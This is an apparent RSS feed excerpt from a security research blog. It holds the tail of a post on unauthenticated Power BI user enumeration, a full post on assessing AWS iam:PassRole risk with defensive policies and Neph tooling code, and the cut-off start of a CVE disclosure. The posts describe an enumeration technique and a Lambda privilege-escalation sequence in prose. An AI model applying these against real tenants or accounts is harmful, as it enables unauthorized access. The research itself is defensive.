&lt;p&gt;User enumeration isn&amp;rsquo;t new, but having a single unauthenticated POST that returns a &lt;code&gt;200&lt;/code&gt;/&lt;code&gt;404&lt;/code&gt;/&lt;code&gt;500&lt;/code&gt; for account validity is about as clean as it gets. No spray risk, no lockout, and no false positives from stale accounts. The fact that this lives under &lt;code&gt;api.powerbi.com&lt;/code&gt; rather than the &lt;code&gt;login.microsoftonline.com&lt;/code&gt; infrastructure makes this a valuable target for adversaries, as it&amp;rsquo;s an API for a product that prioritized broad adoption over tight auth controls.&lt;/p&gt;
&lt;p&gt;One pattern worth internalizing: emerging or heavily-marketed Microsoft platforms like PowerBI, Fabric, Power BI Embedded, tend to maintain their own pre-auth flows outside the standard Entra HRD (home realm discovery) path, and those flows need to resolve account state somewhere. When you&amp;rsquo;re looking for new enumeration surfaces in a Microsoft environment, these bespoke sign-in flows are a good place to start. The attack surface is constantly evolving, and specific endpoints may be patched, but the pattern of looking here applies regardless.&lt;/p&gt;
&lt;p&gt;If you have any questions or concerns, feel free to reach out to &lt;a href=&#34;https://x.com/illegitimateDA&#34; target=&#34;_blank&#34;&gt;@illegitimateDA&lt;/a&gt;.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Analyzing Risk for IAM PassRole</title>
      <link>https://labs.sra.io/posts/awspassrole/</link>
      <pubDate>Tue, 12 May 2026 12:00:00 +0000</pubDate>
      
      <guid>https://labs.sra.io/posts/awspassrole/</guid>
      <description>&lt;p&gt;The AWS &lt;code&gt;iam:PassRole&lt;/code&gt; permission is one of the most foundational permissions in all IAM. It grants a principal the ability to assign roles to services. Unlike other privileged IAM permissions, which tend to allow for direct escalation paths, &lt;code&gt;PassRole&lt;/code&gt; abuse is more nuanced and therefore it&amp;rsquo;s harder to assess the impact of &lt;code&gt;PassRole&lt;/code&gt; assignments for principals. In this post, we will explore different methods of assessing risks associated with &lt;code&gt;PassRole&lt;/code&gt;.&lt;/p&gt;</description>
      <content>&lt;p&gt;The AWS &lt;code&gt;iam:PassRole&lt;/code&gt; permission is one of the most foundational permissions in all IAM. It grants a principal the ability to assign roles to services. Unlike other privileged IAM permissions, which tend to allow for direct escalation paths, &lt;code&gt;PassRole&lt;/code&gt; abuse is more nuanced and therefore it&amp;rsquo;s harder to assess the impact of &lt;code&gt;PassRole&lt;/code&gt; assignments for principals. In this post, we will explore different methods of assessing risks associated with &lt;code&gt;PassRole&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;PassRole&lt;/code&gt; is an IAM permission only, not an action. You can assign it to a principal, but there is no corresponding API call. Instead, each service implements an action that in some way passes a role to the service/resource. For example, if you create a new Lambda Function, you are required to set an execution role. The &lt;code&gt;CreateFunction&lt;/code&gt; call will check that the calling principal has the &lt;code&gt;PassRole&lt;/code&gt; permission (also applies to similar actions like &lt;code&gt;UpdateFunctionConfiguration&lt;/code&gt;).&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id=&#34;abuse&#34;&gt;Abuse&lt;/h1&gt;
&lt;p&gt;The risk of &lt;code&gt;PassRole&lt;/code&gt; is hard to evaluate due to the complexity of an attack. The requirements for abuse are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The compromised principal must have both the &lt;code&gt;PassRole&lt;/code&gt; permission and the service-specific permission (ex: &lt;code&gt;CreateFunction&lt;/code&gt; for Lambda).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Also note: there is no official AWS documentation on which API actions also require &lt;code&gt;PassRole&lt;/code&gt;. Developers must determine this on their own. The closest official resource is the list of services that integrate with IAM found &lt;a href=&#34;https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_aws-services-that-work-with-iam.html&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;. Tenable also has a great post describing this issue &lt;a href=&#34;https://www.tenable.com/blog/auditing-iampassrole-a-problematic-privilege-escalation-permission&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The attacker must be able to influence the service/resource that receives the role. This is the biggest difference as compared to direct privilege escalation permissions and is highly service specific.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As an example, we will use Lambda Function creation. The attacker will be operating from Role A, which has &lt;code&gt;PassRole&lt;/code&gt; and &lt;code&gt;CreateFunction&lt;/code&gt; permissions. The role they intend to pass is Role B and has administrator permissions (unconditional &lt;code&gt;*&lt;/code&gt; on &lt;code&gt;*&lt;/code&gt;). The attack steps are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Attacker prepares the Lambda Function code in a way that allows them to achieve their desired goal. For example, by having the code assign them an administrator policy or by creating a new administrator role they can assume.&lt;/li&gt;
&lt;li&gt;Attacker calls &lt;code&gt;CreateFunction&lt;/code&gt; from Role A and specifies Role B as the new Function’s execution role&lt;/li&gt;
&lt;li&gt;Attacker invokes the newly created Function&lt;/li&gt;
&lt;li&gt;Lambda invokes the Attacker’s code and performs AWS actions using Role B, the administrator role&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h1 id=&#34;defense&#34;&gt;Defense&lt;/h1&gt;
&lt;p&gt;There are two primary ways to restrict &lt;code&gt;PassRole&lt;/code&gt; in an IAM policy. The first is by using a &lt;code&gt;Resource&lt;/code&gt; key to restrict the roles that can be passed.&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;973284615&#34; type=&#34;checkbox&#34;  /&gt;
    &lt;label for=&#34;973284615&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;JSON&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;Restricting PassRole via a Resource&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-JSON&#34; &gt;&lt;code&gt;
{
	&amp;#34;Version&amp;#34;: &amp;#34;2012-10-17&amp;#34;,
	&amp;#34;Statement&amp;#34;: [
		{
			&amp;#34;Sid&amp;#34;: &amp;#34;1&amp;#34;,
			&amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,
			&amp;#34;Action&amp;#34;: &amp;#34;iam:PassRole&amp;#34;,
			&amp;#34;Resource&amp;#34;: &amp;#34;arn:aws:iam::123456789000:role/RoleA&amp;#34;
		}
	]
}
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;


&lt;p&gt;The second is by using one or more &lt;code&gt;PassRole&lt;/code&gt;-specific IAM conditions, namely &lt;code&gt;iam:PassedToService&lt;/code&gt; and &lt;code&gt;iam:AssociatedResourceARN&lt;/code&gt;.&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;148629375&#34; type=&#34;checkbox&#34;  /&gt;
    &lt;label for=&#34;148629375&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;JSON&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;Restricting PassRole via iam:PassedToService&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-JSON&#34; &gt;&lt;code&gt;
{
	&amp;#34;Version&amp;#34;: &amp;#34;2012-10-17&amp;#34;,
	&amp;#34;Statement&amp;#34;: [
		{
			&amp;#34;Sid&amp;#34;: &amp;#34;1&amp;#34;,
			&amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,
			&amp;#34;Action&amp;#34;: &amp;#34;iam:PassRole&amp;#34;,
			&amp;#34;Resource&amp;#34;: &amp;#34;arn:aws:iam::123456789000:role/RoleA&amp;#34;,
			&amp;#34;Condition&amp;#34;: {
				&amp;#34;StringEquals&amp;#34;: {
					&amp;#34;iam:PassedToService&amp;#34;: &amp;#34;lambda.amazonaws.com&amp;#34;
				}
			}
		}
	]
}
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;853461279&#34; type=&#34;checkbox&#34;  /&gt;
    &lt;label for=&#34;853461279&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;JSON&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;Restricting PassRole via iam:AssociatedResourceARN&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-JSON&#34; &gt;&lt;code&gt;
{
	&amp;#34;Version&amp;#34;: &amp;#34;2012-10-17&amp;#34;,
	&amp;#34;Statement&amp;#34;: [
		{
			&amp;#34;Sid&amp;#34;: &amp;#34;1&amp;#34;,
			&amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,
			&amp;#34;Action&amp;#34;: &amp;#34;iam:PassRole&amp;#34;,
			&amp;#34;Resource&amp;#34;: &amp;#34;arn:aws:iam::123456789000:role/RoleA&amp;#34;,
			&amp;#34;Condition&amp;#34;: {
				&amp;#34;StringEquals&amp;#34;: {
					&amp;#34;iam:AssociatedResourceARN&amp;#34;: &amp;#34;arn:aws:lambda:us-east-1:123456789000:function:FunctionA&amp;#34;
				}
			}
		}
	]
}
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;


&lt;p&gt;The &lt;code&gt;iam:PassedToService&lt;/code&gt; condition specifies which &lt;em&gt;services&lt;/em&gt; can receive the role(s) whereas &lt;code&gt;iam:AssociatedResourceARN&lt;/code&gt; specifies which &lt;em&gt;resource&lt;/em&gt; can receive the role(s).&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id=&#34;evaluating-risk&#34;&gt;Evaluating Risk&lt;/h1&gt;
&lt;p&gt;To evaluate the risks associated with principals assigned &lt;code&gt;PassRole&lt;/code&gt;, we need to understand both the outbound access that principal has as well as inbound access to that principal (e.g., a role that is assumable and has &lt;code&gt;PassRole&lt;/code&gt; permissions). For this analysis, we will describe it schematically then demonstrate how to perform it using &lt;a href=&#34;https://github.com/SecurityRiskAdvisors/neph&#34; target=&#34;_blank&#34;&gt;Neph&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For outbound access, we will focus on unconditional &lt;code&gt;PassRole&lt;/code&gt; permissions as these represent the riskiest scenarios. Unconditional here means that there are no restrictions on the roles that can be passed nor on the services that can receive the roles. Schematically:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Identify all principals in an account&lt;/li&gt;
&lt;li&gt;Retrieve their inline and attached policies&lt;/li&gt;
&lt;li&gt;Expand policy wildcards then look for statements that allow &lt;code&gt;PassRole&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Filter those statements for ones without the IAM restrictions noted above&lt;/li&gt;
&lt;li&gt;Validate that the effective permission set for the principal actually allows &lt;code&gt;PassRole&lt;/code&gt; (e.g., there may be both an allow and a deny for &lt;code&gt;PassRole&lt;/code&gt; across identity policies, permission boundaries, SCPs, etc).&lt;/li&gt;
&lt;li&gt;(Optionally) Validate that the effective permission set allows the service-specific action&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For inbound access, we will analyze trust policies for roles that have &lt;code&gt;PassRole&lt;/code&gt; permissions to identify principals that can access those roles from both within the same account as well as from external accounts. Schematically:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;For any role that has &lt;code&gt;PassRole&lt;/code&gt;, analyze the trust policy for references to allowed principals, both explicit and wildcards&lt;/li&gt;
&lt;li&gt;For each identified principal, validate that that principal can call &lt;code&gt;AssumeRole&lt;/code&gt; against the target role with &lt;code&gt;PassRole&lt;/code&gt; permissions&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Note: you can also look for alternative mechanisms to access roles with &lt;code&gt;PassRole&lt;/code&gt; permissions, such as if another abusable permission would allow for access to that role. For example, if you have a role that can call &lt;code&gt;UpdateAssumeRolePolicy&lt;/code&gt; on the target role, you can update its trust policy to allow your role access.&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id=&#34;practical-analysis&#34;&gt;Practical Analysis&lt;/h1&gt;
&lt;p&gt;For this analysis we will use &lt;a href=&#34;https://github.com/SecurityRiskAdvisors/neph&#34; target=&#34;_blank&#34;&gt;Neph&lt;/a&gt; (release blog &lt;a href=&#34;https://sra.io/blog/pruning-garden-paths-in-aws-with-neph/&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;), our open-source graph-based AWS security tool. For the more involved parts of the analysis, we will use the &lt;a href=&#34;https://github.com/SecurityRiskAdvisors/neph/blob/main/docs/Jupyter.md&#34; target=&#34;_blank&#34;&gt;Jupyter Lab&lt;/a&gt; server included in the default Docker Compose deployment.&lt;/p&gt;
&lt;p&gt;Neph relates both inline and attached policies to principals via an &lt;code&gt;ATTACHED&lt;/code&gt; path:&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;attachedpath.png&#34;  alt=&#34;ATTACHED path&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;ATTACHED path between two nodes&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;p&gt;Policy nodes are enriched to include details about abusable permissions. This data is exposed via the &lt;code&gt;iam_privesc&lt;/code&gt; and &lt;code&gt;iam_privesc_permission&lt;/code&gt; node properties.&lt;/p&gt;
&lt;p&gt;Since Neph considers &lt;code&gt;PassRole&lt;/code&gt; an abusable permission, it will be included in these properties, making principal identification straightforward.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;nodeenrichment.png&#34;  alt=&#34;Privilege escalation enrichment&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Privilege escalation node attributes on a policy node (also applies to inline policy nodes)&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;p&gt;To filter these results for unconditional results, you can use a small code snippet to walk the policy statements and check for &lt;code&gt;Resource&lt;/code&gt; and condition restrictions. The below snippet is a minimal example:&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;823617594&#34; type=&#34;checkbox&#34;  /&gt;
    &lt;label for=&#34;823617594&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;python&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;Statement walking&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-python&#34; &gt;&lt;code&gt;
import json
import copy
from neph.nodes import record_to_stub
from neph.aws.policies import get_allowed_actions_from_policy

results = session.run(&amp;#34;&amp;#34;&amp;#34;&amp;lt;QUERY&amp;gt;&amp;#34;&amp;#34;&amp;#34;).values()
for result in results:
    policy = record_to_stub(result[0], include_fakes=True)
    policy_dict = json.loads(policy.policy)
    statements = policy_dict.get(&amp;#34;Statement&amp;#34;, []) 
    
    for statement in statements:
        dummy_policy = copy.copy(policy_dict)
        dummy_policy[&amp;#34;Statement&amp;#34;] = [statement]
        if &amp;#34;iam:PassRole&amp;#34; in get_allowed_actions_from_policy(dummy_policy):            
            if &amp;#34;Condition&amp;#34; not in statement:
                # logic here
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;Given a query returning policy nodes, this will load the results into a Neph node object then deserialize the policy data.&lt;/li&gt;
&lt;li&gt;For each statement in the policy, create a full policy containing only that statement (the &amp;ldquo;dummy&amp;rdquo;). This is to isolate the positive results by statement.&lt;/li&gt;
&lt;li&gt;The permissions in the statement are expanded then checked to see if &lt;code&gt;iam:PassRole&lt;/code&gt; is present.&lt;/li&gt;
&lt;/ul&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;jupyterwalk.png&#34;  alt=&#34;Example output&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Example output using complete version of above code snippet.&lt;br&gt;AWSControlTowerExecution is an administrator role with full wildcard permissions.&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;p&gt;Then validate that the effective set of policies for the principal does not disallow &lt;code&gt;PassRole&lt;/code&gt; by using the Simulator. Note: &lt;code&gt;PassRole&lt;/code&gt; is only an IAM permission, not an API call. However, the Neph Simulator will still work in this case.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;passrolesim.png&#34;  alt=&#34;PassRole simulation&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Simulating PassRole using the Neph Simulator&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;p&gt;This is equivalent to the following CLI command:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;neph sim --principal &amp;quot;&amp;lt;ROLE ARN&amp;gt;&amp;quot; --action &amp;quot;iam:PassRole&amp;quot; --resource &amp;quot;*&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If you are interested in service-specific role passing actions, such as &lt;code&gt;CreateFunction&lt;/code&gt;, you can then also simulate that action in addition to &lt;code&gt;PassRole&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This piece of the analysis provides the set of principals with &lt;code&gt;PassRole&lt;/code&gt;. For any roles within that list, it makes sense to also evaluate inbound access by analyzing the trust policies. If you’ve generated leads within Neph, you will already have inbound paths to the roles based on their trust policies. For example, if the trust policies allow assumption using an account-level trust, there will be a path to the role from that account.&lt;/p&gt;
&lt;p&gt;Neph represents explicit principal references in trust policies using a &lt;code&gt;CAN_ASSUME&lt;/code&gt; lead relationship. A trust policy like:&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;978365421&#34; type=&#34;checkbox&#34;  /&gt;
    &lt;label for=&#34;978365421&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;JSON&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;Trust policy&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-JSON&#34; &gt;&lt;code&gt;
{
    &amp;#34;Version&amp;#34;: &amp;#34;2012-10-17&amp;#34;,
    &amp;#34;Statement&amp;#34;: [
        {
            &amp;#34;Action&amp;#34;: &amp;#34;sts:AssumeRole&amp;#34;,
            &amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,
            &amp;#34;Principal&amp;#34;: {
                &amp;#34;AWS&amp;#34;: &amp;#34;arn:aws:iam::123456789000:role/Role&amp;#34;
            }
        }
    ]
}
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;


&lt;p&gt;Will lead to the creation of a path like:&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;assumerolepath.png&#34;  alt=&#34;CAN_ASSUME lead path (roles)&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;CAN_ASSUME LEAD path for explicit role trust&lt;/figcaption&gt;
    
  &lt;/figure&gt;



  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;canassumepath.png&#34;  alt=&#34;CAN_ASSUME lead path (account)&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;CAN_ASSUME LEAD path for account-level trusts&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;p&gt;If roles trust entire accounts for assumption, Neph will use the &lt;code&gt;CAN_ASSUME&lt;/code&gt; lead as well, but with the source node being an account instead of a role. You will need to expand that to the principals from that account by using the &lt;code&gt;account_id&lt;/code&gt; attribute.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;roleinsourceaccount.png&#34;  alt=&#34;CAN_ASSUME lead and role&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Role in account (bottom) that has CAN_ASSUME lead (top)&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;p&gt;Additional analysis should then be performed to validate the source node can assume the role by using the Simulator to make an &lt;code&gt;AssumeRole&lt;/code&gt; call from the source node to the target that has &lt;code&gt;PassRole&lt;/code&gt; permissions.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;assumerolesim.png&#34;  alt=&#34;AssumeRole simulation&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Simulating AssumeRole using the Neph Simulator&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;p&gt;Principals that can assume roles with &lt;code&gt;PassRole&lt;/code&gt; represent additional risk as they effectively have the &lt;code&gt;PassRole&lt;/code&gt; permission.&lt;/p&gt;
&lt;h3 id=&#34;extending-neph&#34;&gt;Extending Neph&lt;/h3&gt;
&lt;p&gt;You can leverage Neph’s &lt;a href=&#34;https://github.com/SecurityRiskAdvisors/neph/blob/main/docs/Plugins.md&#34; target=&#34;_blank&#34;&gt;extensibility&lt;/a&gt; to make initial &lt;code&gt;PassRole&lt;/code&gt; target identification easier. As noted above, Neph enriches policy nodes that include abusable permissions with additional node attributes. The code responsible for this enrichment can be found &lt;a href=&#34;https://github.com/SecurityRiskAdvisors/neph/blob/8206519d1c4294cf44bf16cb77a7fdf49b8d25c0/neph/aws/nodes/iam.py#L166&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;privescenrichment.png&#34;  alt=&#34;Enrichment code snippet&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Source code for privilege escalation enrichment&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;p&gt;The policy contents are checked to see if they contain any of the noted abusable permissions. Policies that do receive additional attributes. Neph also uses these abusable permissions for its privilege escalation fanout (code &lt;a href=&#34;https://github.com/SecurityRiskAdvisors/neph/blob/8206519d1c4294cf44bf16cb77a7fdf49b8d25c0/neph/aws/other/fanouts.py#L25&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Both checks can be repurposed to look for additional notable permissions, such as service-specific implementations of role passing operations like &lt;code&gt;CreateFunction&lt;/code&gt;, either by looking for those specific permissions in isolation or by looking for them cooccurring with &lt;code&gt;PassRole&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For this example, we will use the node enrichment as a basis for a new enrichment that looks for a combination of &lt;code&gt;PassRole&lt;/code&gt; and one or more service-specific implementations, like &lt;code&gt;CreateFunction&lt;/code&gt;&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;467321985&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;467321985&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;python&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;PassRole Enrichment&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-python&#34; &gt;&lt;code&gt;
SERVICE_SPECIFIC_PASSROLE = [&amp;#34;lambda:CreationFunction&amp;#34;]

class PassRoleCombinations(NodeEnrichment):
    nodes = [IamPolicy, IamInlinePolicy, IicInlinePolicy]

    @classmethod
    @add_session()
    def enrich(cls, stub, session: Session = None):
        if hasattr(stub, &amp;#34;policy&amp;#34;) and (policy := getattr(stub, &amp;#34;policy&amp;#34;)) is not None:
            policy_json = json.loads(policy)
            allowed_actions = get_allowed_actions_from_policy(policy_json)
            has_passrole = &amp;#34;iam:PassRole&amp;#34; in allowed_actions
            service_permissions = list(filter(lambda x: x in allowed_actions, SERVICE_SPECIFIC_PASSROLE))

            if has_passrole and len(service_permissions) &amp;gt; 0:
                parent = stub.get_parent()
                if parent == IamPolicy:
                    match = f&amp;#34;&amp;#34;&amp;#34;MATCH (policy:{IamPolicy.label}{{arn: &amp;#34;{stub.arn}&amp;#34;}})&amp;#34;&amp;#34;&amp;#34;
                elif parent in [IamInlinePolicy, IicInlinePolicy]:
                    match = f&amp;#34;&amp;#34;&amp;#34;MATCH (policy:{IamInlinePolicy.label}|{IicInlinePolicy.label}{{principal_arn: &amp;#34;{stub.principal_arn}&amp;#34;, name: &amp;#34;{stub.name}&amp;#34;, policy: &amp;#39;{stub.policy}&amp;#39; }})&amp;#34;&amp;#34;&amp;#34;
                else:
                    return

                permissions_str = json.dumps(service_permissions)
                query = f&amp;#34;&amp;#34;&amp;#34;
                {match}
                SET policy.passrole_combination = &amp;#34;true&amp;#34;
                SET policy.passrole_combination_permissions = &amp;#39;{permissions_str}&amp;#39;
                &amp;#34;&amp;#34;&amp;#34;
                session.run(query)
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;This class is largely the same as the one linked &lt;a href=&#34;https://github.com/SecurityRiskAdvisors/neph/blob/8206519d1c4294cf44bf16cb77a7fdf49b8d25c0/neph/aws/nodes/iam.py#L166&#34; target=&#34;_blank&#34;&gt;above&lt;/a&gt;. The main difference is that it checks &lt;em&gt;both&lt;/em&gt; for &lt;code&gt;PassRole&lt;/code&gt; and the service permissions whereas the original only checks for abusable permissions, which includes &lt;code&gt;PassRole&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;You can modify the &lt;code&gt;SERVICE_SPECIFIC_PASSROLE&lt;/code&gt; list as needed to include additional permissions&lt;/li&gt;
&lt;li&gt;This adds the &lt;code&gt;passrole_combination&lt;/code&gt; and &lt;code&gt;passrole_combination_permissions&lt;/code&gt; node attributes on matched nodes&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After installing and running the enrichment (details &lt;a href=&#34;https://github.com/SecurityRiskAdvisors/neph/blob/main/docs/Plugins.md&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;), you can query for matches based on the added attributes, &lt;code&gt;passrole_combination&lt;/code&gt; and &lt;code&gt;passrole_combination_permissions&lt;/code&gt;.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;newenrichment.png&#34;  alt=&#34;New enrichment result&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Policy node with new attributes from custom enrichment&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;hr&gt;
&lt;h1 id=&#34;closing&#34;&gt;Closing&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;PassRole&lt;/code&gt; is a highly privileged permission in AWS that requires a nuanced approach to understanding its risk. Using tools like Neph, you can better understand the inbound and outbound attack paths related to principals with &lt;code&gt;PassRole&lt;/code&gt; permissions.&lt;/p&gt;
&lt;p&gt;If you have any questions or concerns, feel free to reach out to &lt;a href=&#34;https://x.com/2xxeformyshirt&#34; target=&#34;_blank&#34;&gt;@2xxeformyshirt&lt;/a&gt;. Neph source code can be found &lt;a href=&#34;https://github.com/SecurityRiskAdvisors/neph&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Cracking Codes, Capturing Credentials: Five CVEs in Milner ImageDirector Capture</title>
      <link>https://labs.sra.io/posts/milnerimagedirector-post/</link>
      <pubDate>Tue, 05 May 2026 12:00:00 +0000</pubDate>
      
      <guid>https://labs.sra.io/posts/milnerimagedirector-post/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;
&lt;p&gt;SRA encountered &lt;a href=&#34;https://milner.com/solutions/document-management/document-capture/&#34; target=&#34;_blank&#34;&gt;Milner ImageDirector Capture&lt;/a&gt;, a document scanning application, on a network penetration test. We identified and responsibly disclosed several vulnerabilities in this software. After the vendor provided a patch, we subsequently released &lt;a href=&#34;https://labs.sra.io/posts/milnerimagedirector/&#34; target=&#34;_blank&#34;&gt;five CVEs&lt;/a&gt;. This post explains the technical details of each CVE.&lt;/p&gt;
&lt;h1 id=&#34;introduction&#34;&gt;Introduction&lt;/h1&gt;
&lt;p&gt;ImageDirector Capture is a .NET Windows application that manages scanned documents. Users access Capture by logging into one or more endpoint devices. The endpoints store database credentials and authenticate to a central MSSQL database for storage. While individual users can add documents to the server, they should not be able to extract database credentials from the application. We audited Capture&amp;rsquo;s source code with dnSpy.&lt;/p&gt;</description>
      <content>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;
